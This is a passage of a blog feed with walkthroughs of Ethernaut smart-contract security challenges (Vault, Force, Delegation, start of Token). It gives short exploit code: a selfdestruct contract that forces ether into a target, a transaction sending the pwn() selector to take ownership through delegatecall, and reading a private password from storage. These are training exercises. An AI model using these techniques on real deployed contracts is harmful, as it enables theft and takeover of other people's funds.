    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A function by the name unlock() also resides there which asks for the password in the parameter and checks if it is the correct password then proceed to set the “locked” to false unlocking the Vault.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bytes32&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;_password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now this states that the contract requires a _password in its unlock() function to win the level. See that the _password is going inside the constructor while we initialize the contract so the password is already there we just need to extract it somehow to put it inside our unlock() function.&lt;/p&gt;

&lt;p&gt;You see that the password variable is declared as private so it means no other contract can access it but it is declared as a State Variable which implies that it is stored on the Blockchain. So we need to extract the password right from the Blockchain.&lt;/p&gt;

&lt;p&gt;Since Blockchain has its transparency we can check the storage to see the State Variables value. Now since the first declared variable is “locked”, its index must be at 0. The second declared variable is “password” which we need to see the value of, its index must be at 1.&lt;/p&gt;

&lt;p&gt;We can use the following command to check the value of “password”&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MbirSsJl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vrjbbj6g43xv9h2b2l8h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MbirSsJl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vrjbbj6g43xv9h2b2l8h.png" alt="Image description" width="447" height="41"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now use this value in the unlock() function by the following command&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_lO3f6-x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9k90x9tobb1qurnmdv1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_lO3f6-x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c9k90x9tobb1qurnmdv1.png" alt="Image description" width="800" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally just click “Submit Instance” and you win!&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 7 Walkthrough - Force</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:52:51 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-7-walkthrough-force-5co</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-7-walkthrough-force-5co</guid>
      <description>&lt;p&gt;This level seems like a cruel joke. There is literally no code at all inside the contract and just a cat meowing at us wtf. Stuff like this makes me suicidal and what does this type of behavior called? Self Destruct. And there exists a concept of self destructing a contract in Ethereum.&lt;/p&gt;

&lt;p&gt;How do I got to know that I have to self destruct the contract? I honestly had to google a lot since the only helpful hint was &lt;em&gt;“Sometimes the best way to attack a contract is with another contract”&lt;/em&gt; so i learned that selfdestruct() method lets you destroy your smart contract and move all remaining Ethers to another address so i will just be needing another contract to move all the ether from that in this given level contract to win. This justifies the tier 3 difficulty this level has.&lt;/p&gt;

&lt;p&gt;Now the name of this level makes sense. The contract itself has no method of receiving any ether so we will selfdestruct() our contract and Force this level’s contract to ultimately accept our remaining ether since it will have no choice but to accept it.&lt;/p&gt;

&lt;p&gt;So let’s start by coding up our contract as follows&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Enforcer&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;constructor&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; 
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

     &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;suicidesquad&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;selfdestruct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x25205608cb59bf58c1D2440388480c9B8d69DB11&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this contract, three functions are coded. First is a payable constructor() which lets you send some ether into this contract while deploying it. Second is getBalance() which will show you the balance present in your contract. Last is the suicidesquad() function which calls in the selfdestruct() method to destroy this contract and force our given level contract to accept the ether since we mentioned its address in the method. To know the address of the given level contract you can simply do it by the following command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0HYIggUU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vsajysgpaphm4hli8br4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0HYIggUU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vsajysgpaphm4hli8br4.png" alt="Image description" width="329" height="38"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now deploy your contract with an initial value of 10000000000000 wei which equals to 0.00001 eth. I am using Remix IDE so this is my configuration while deploying the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j-5J-Uxp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8j9ilm2m23gqfqx8kq2c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j-5J-Uxp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8j9ilm2m23gqfqx8kq2c.png" alt="Image description" width="284" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then use the getBalance() function to check that you have 0.00001 eth in your contract. Then simply use suicidesquad() function to destroy the contract and force the given level contract to accept the 0.00001 eth and win the level.&lt;/p&gt;

&lt;p&gt;You can verify that the level contract has accepted and received the eth by the following command&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--d7aqAMrn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lqsq5cjm4j4fkjft30ls.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--d7aqAMrn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lqsq5cjm4j4fkjft30ls.png" alt="Image description" width="258" height="39"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now just click on “Submit Instance” button and see your goody good winning banner.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 6 Walkthrough - Delegation</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:29:47 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-6-walkthrough-delegation-456e</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-6-walkthrough-delegation-456e</guid>
      <description>&lt;p&gt;The hint of this level lies in its name, Delegation. According to Wiki&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A Delegation is the assignment of authority to another person (normally from a manager to a subordinate) to carry out specific activities.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yes i still get my information from Wikipedia. Now let’s understand the code of this level. This level contains two contracts, Delegate and Delegation. &lt;/p&gt;

&lt;p&gt;In the Delegate contract, the constructor takes an address and makes it the owner of the contract. There is another public function pwn() in which whomever initialize the contract becomes the owner of it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Delegate&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the Delegation contract, it first calls in the Delegate contract then its constructor proceeds to take in the address of Delegate contract and store it in delegate and also makes the contract initializer the owner of the contract. Also exists a fallback() function which triggers when there is no other function in the contract executes properly. In the fallback() function it calls the pwn() function of Delegate contract by stating the Delegate contract address and then calling delegatecall() function to execute the pwn() function and set it to a bool result condition which checks whether the address is the current address of the contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Delegation&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;Delegate&lt;/span&gt; &lt;span class="n"&gt;delegate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_delegateAddress&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;delegate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Delegate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_delegateAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delegate&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;delegatecall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What a delegatecall() is that it lets you call a function on another contract while keeping the original data context. Think of it like calling a function from a library that we do in other programming languages. So we are allowing the Delegate contract to run its pwn() function inside our Delegation contract conforming to the title of this level.&lt;/p&gt;

&lt;p&gt;When you Get New Instance only the Delegation contract works not the Delegate contract since it acts like a library to the Delegation contract. Now we cannot be the owner of the Delegation contract since we initialize it goes with the address of the Level and not our address. You can confirm this by the following command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Pl5-Vrhq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xgi8q4yh0mphtfq4mz52.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Pl5-Vrhq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xgi8q4yh0mphtfq4mz52.png" alt="Image description" width="373" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nEiIeyN4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s2g8jwiyxej789asgzha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nEiIeyN4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s2g8jwiyxej789asgzha.png" alt="Image description" width="307" height="43"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You see the conflict now? Since we only have access to Delegation contract and it is calling a function from Delegate contract and not of its own we cannot push in our own address to become the contract owner. So we need to hit the pwn() function somehow.&lt;/p&gt;

&lt;p&gt;In order to do so, we run the following command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"0xdd365b8b"&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this command, you can understand that the sender is the player which is us and the receiver is the level, but what is this strange data value that we are sending in the transaction. EVM calls the functions by looking at the first 4 bytes of the function signature. In our case, the signature is keccak256 which is basically sha3. So if we want to obtain the signature of pwn() function we would run the following command to know Hexadecimal value of pwn() which is of 4 bytes equaling to &lt;code&gt;dd365b8b&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AbfeP9jx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wkl4p8n2qvf9xatrl4me.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AbfeP9jx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wkl4p8n2qvf9xatrl4me.png" alt="Image description" width="301" height="41"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we push it into the data and can now manipulate the pwn() function to become the owner of Delegation contract by the command stated above.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rcSrHWP6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yzjx6zgip2ixzsizb88d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rcSrHWP6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yzjx6zgip2ixzsizb88d.png" alt="Image description" width="454" height="95"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you have become the owner of the contract and can confirm this with the following commands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--g0ovDu57--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vsw30pbpdg1buxspjthu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--g0ovDu57--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vsw30pbpdg1buxspjthu.png" alt="Image description" width="347" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now just Submit Instance and WIN WIN WIN WIN!&lt;/p&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>ethernaut</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>Ethernaut Level 5 Walkthrough - Token</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Thu, 24 Aug 2023 04:24:58 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/ethernaut-level-5-walkthrough-token-10c4</link>
      <guid>https://forem.com/hamzairshad02/ethernaut-level-5-walkthrough-token-10c4</guid>
      <description>&lt;p&gt;This level comes with a hint: odometer. An odometer is an instrument used for measuring the distance traveled by a vehicle. It usually has a starting value of 000000 and ends at 999999. Now what does it even have to do with our contract eh? For that we have to understand the contract first.&lt;/p&gt;

&lt;p&gt;Let’s start by understanding the contract first.&lt;/p&gt;

&lt;p&gt;The contract starts with two variables, first is “balances” which is a mapping of address as its key and uint as its value. The second is “totalSupply” which is a public uint. Remember that a uint declared is a uint256 by default which has a value from 0 to 2^256 which is equal to 115792089237316195423570985008687907853269984665640564039457584007913129639935. A starting value and an ending value just like an odometer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then comes the constructor of the contract which takes an _initialSupply value in its parameter and declares it equal to the totalSupply which is equal to the balances.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;totalSupply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_initialSupply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next is a function called transfer() which takes two parameters, the address of the person _to whom the _value will be sent and returns a boolean.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside this function it contains a requirement that the subtraction of _value from the balance of sender should be greater than or equal to 0. If that fulfils it proceeds to subtract the _value from the balance of sender and add it to the balance of whom the _value is sent _to and returns true at the end.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last function of this contract just returns whatever the balance the _owner of the contract has.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
